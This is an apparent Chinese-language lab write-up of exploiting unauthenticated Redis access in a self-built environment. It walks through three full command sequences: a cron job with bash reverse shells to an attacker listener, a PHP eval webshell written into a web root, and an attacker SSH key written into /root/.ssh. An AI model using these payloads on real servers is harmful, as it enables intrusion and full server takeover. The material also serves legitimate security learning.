redis未授权访问漏洞利用

简介

Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。
Redis默认情况下会绑定在0.0.0.0:6379,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。

漏洞危害

攻击者可通过redis命令向目标服务器写入任务计划来反弹shell,完成服务器的控制。

攻击者可通过redis命令向网站目录写入webshell,完成对目标网站服务器的初步控制;

最严重的情况,如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

下载redis :wget http://download.redis.io/releases/redis-4.0.11.tar.gz

image-20220912153400150

nmap发现端口是过滤状态,所以还得把防火墙关闭。

image-20220912153421599

在这里可以了解一下iptables、selinux、firewalld三个防火墙之间的区别。

1
systemctl stop firewalld.service		#临时关闭防火墙

已经关闭防火墙,然后再探测一下端口,6379已经是开启的状态了

image-20220912153547403

在这儿说一个坑,Ubuntu真的拉胯,我关了防火墙,端口状态还是filtered状态,真的大无语,在Ubuntu上配置redis环境都花了大半天,不想再入坑Ubuntu,以后都只用Centos了(现在用的是Centos,Ubuntu上环境我没搭建成功)。

用redis工具直接进行连接

1
redis-cli.exe -h IP -p 端口

我这儿没有指定-p参数端口,因为我这儿用的就是默认的端口6379

image-20220912153933987

解决办法:在redis.conf文件里

1
2
把 bind 127.0.0.1 注释掉,在前面加#就行
把 protected-mode yes 设置为 protected-mode no

然后使用这个配置文件去启动,自己制定一下路径

1
redis-cli [redis.conf的路径]

然后还是报错,他喵的,已经关了保护模式了,已经没有密码了,又显示NOAUTH Authentication required

image-20220912161329546

解决办法:使用auth命令认证一下

1
auth ""

image-20220912161435194

因为我错把密码设置成了:requirepass “” ,所以如果你要搭建未授权环境,把原来的含有requirepass这一行给注释掉,然后自己添加一行

1
requirepas			#没有设置密码

这样就可以未授权访问了。

这里介绍三种方法GetShell

一、计划任务反弹shell

连接上之后呢按顺序执行以下命令

1
2
3
4
5
config set dir /var/spool/cron      #设置计划任务路径
config set dbfilename root #设置目录,同时以root身份去执行
set axin "\n\n*/1 * * * * /bin/bash -i >&/dev/tcp/192.168.0.186/4459 0>&1\n\n" #写计划任务,axin名字随便起,这个计划任务都是周期性的去执行,每1分钟去执行一次。
set x "\n* * * * * bash -i >& /dev/tcp/192.168.2.155/2333 0>&1\n" #和上面效果一样,计划任务(二选一哦)
save #记得保存一下

然后这里反弹的时候可能会等得比较久一点

image-20220912161719761

正常 情况下VPS监听4459端口 就能收到shell。

可以验证一下计划任务是否被添加了,在redis机器上执行 crontab -l 命令,查看本机计划任务

image-20220912162246954

后面也是成功拿到了Shell。

二、写Webshell

这个方法有个条件,目标机器要开了http服务才行,且你要知道网站路径。

所以我就用phpstudy搭建了个web服务,用来解析执行php,因为我打算写php的马,所以是php环境。

路径为:/www/admin/localhost_80/wwwroot

image-20220912165540131

然后redis远程连接,开始写Shell,然后我发现redis又连接不上去了,他喵的,6379端口又是filtered状态了,我再次关闭防火墙都不管用,后来才发现是小皮面板自带的防火墙打开了的,全都给关了

image-20220912172120993

继续写Webshell

1
2
3
4
config set dir /www/admin/localhost_80/wwwroot     #网站目录
config set dbfilename webshell.php #shell文件
set x "<?php @eval($_POST["cmd"]);?>" #一句话木马
save

image-20220912165642676

拼接访问

image-20220912172400922蚁剑连接一手,这就进来了

image-20220912172606079

不过权限低,www权限。

image-20220912172636046

三、写公钥

这个条件要双方都开启了SSH服务

1
2
systemctl restart sshd			#重启ssh服务
ssh-keygen -t rsa #kali机生成公钥文件
1
2
3
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCyMB1gj9rOnsFyaGs6EX8xIBqdaslEoyFLfv6WxJvif/rPssQkultYqECl96Lcv4pbcB+aSu/RItDA8OQmpkion8CMFJNQIu2U5QkkhdRxlbxxUypbx4XzYb/c5m2Xj8DpBoN0xc6Ah2OsuKNsm4BCjbm/q8LVQKUBdxuiSPtyezBJ5veLnuyv0Xubh222xWYrN5kSyucHMc2grOm75sL1VXlSvk1oc/Kl7yS9U2qVjIFG53qq5H0O5EBHqH5ascLuf50kWnif3CHBCHJauIfBO+1EC/THfiv1hRojDgxoh5/hst7xuAY6B0Utt1z8JIYsnl4iDxE62ivhyVUNfpjiANLCr0nvz8Doxl8xKd9EsP2XUtWQrDjqsoymjcYwbz5ZqlN/wfK6PFYllU6Z27GmZQtKSIApFQTsaJNueemDsHnB8eZ+0gNJHYRdZiuoOts5gTLvQ/zIPmheizLQC2VYzatKHj/APBEpXzyZd8edP27H6ltF6MTnGX5Oek4anaE= root@kali

上面就是生成的.pub公钥文件的内容

如果你用cat命令查看这个文件内容乱码,可以用下面命令保存到txt文件去

1
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

如果目标机器/root下没有.ssh目录,就自己创建一个。

mkdir /root/.ssh

然后再连上redis,安装下面命令依次执行。

1
2
3
4
5
config set dir /root/.ssh/
config set dbfilename rsa
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCyMB1gj9rOnsFyaGs6EX8xIBqdaslEoyFLfv6WxJvif/rPssQkultYqECl96Lcv4pbcB+aSu/RItDA8OQmpkion8CMFJNQIu2U5QkkhdRxlbxxUypbx4XzYb/c5m2Xj8DpBoN0xc6Ah2OsuKNsm4BCjbm/q8LVQKUBdxuiSPtyezBJ5veLnuyv0Xubh222xWYrN5kSyucHMc2grOm75sL1VXlSvk1oc/Kl7yS9U2qVjIFG53qq5H0O5EBHqH5ascLuf50kWnif3CHBCHJauIfBO+1EC/THfiv1hRojDgxoh5/hst7xuAY6B0Utt1z8JIYsnl4iDxE62ivhyVUNfpjiANLCr0nvz8Doxl8xKd9EsP2XUtWQrDjqsoymjcYwbz5ZqlN/wfK6PFYllU6Z27GmZQtKSIApFQTsaJNueemDsHnB8eZ+0gNJHYRdZiuoOts5gTLvQ/zIPmheizLQC2VYzatKHj/APBEpXzyZd8edP27H6ltF6MTnGX5Oek4anaE= root@kali\n\n\n"
#注意上面公钥前后都有三个换行符\n
save

然后kali使用私钥登录就能免密登录了。

1
ssh -i id_sra root@192.168.0.146		

其中写公钥免密登录这里踩了很大的坑,明明公钥已经写进去了,但是最终使用私钥连接还是提示我需要输入密码,然后去网上找办法解决,一通设置过后还是不能免密登录,最后索性重装了SSH服务,然后重新写公钥,使用私钥就直接免密登录上去了,所以千万不要手贱乱改配置文件。

经过和大佬的交流,对比了SSH前后配置文件,发现我的公钥路径设置错了。

image-20220914235731416

.ssh/authorized_keys才是正确的路径。

1
2
3
4
5
参考文章链接
https://www.cnblogs.com/f-carey/p/16305107.html
B站视频:https://www.bilibili.com/video/BV1me411g7TH?from=search&seid=8962621175343690332&spm_id_from=333.337.0.0&vd_source=c5ba993460288436ddc6f8d9e38a3ec4
freebuf:https://www.freebuf.com/vuls/277988.html
maidang:https://maidang.cool/2020/46878.html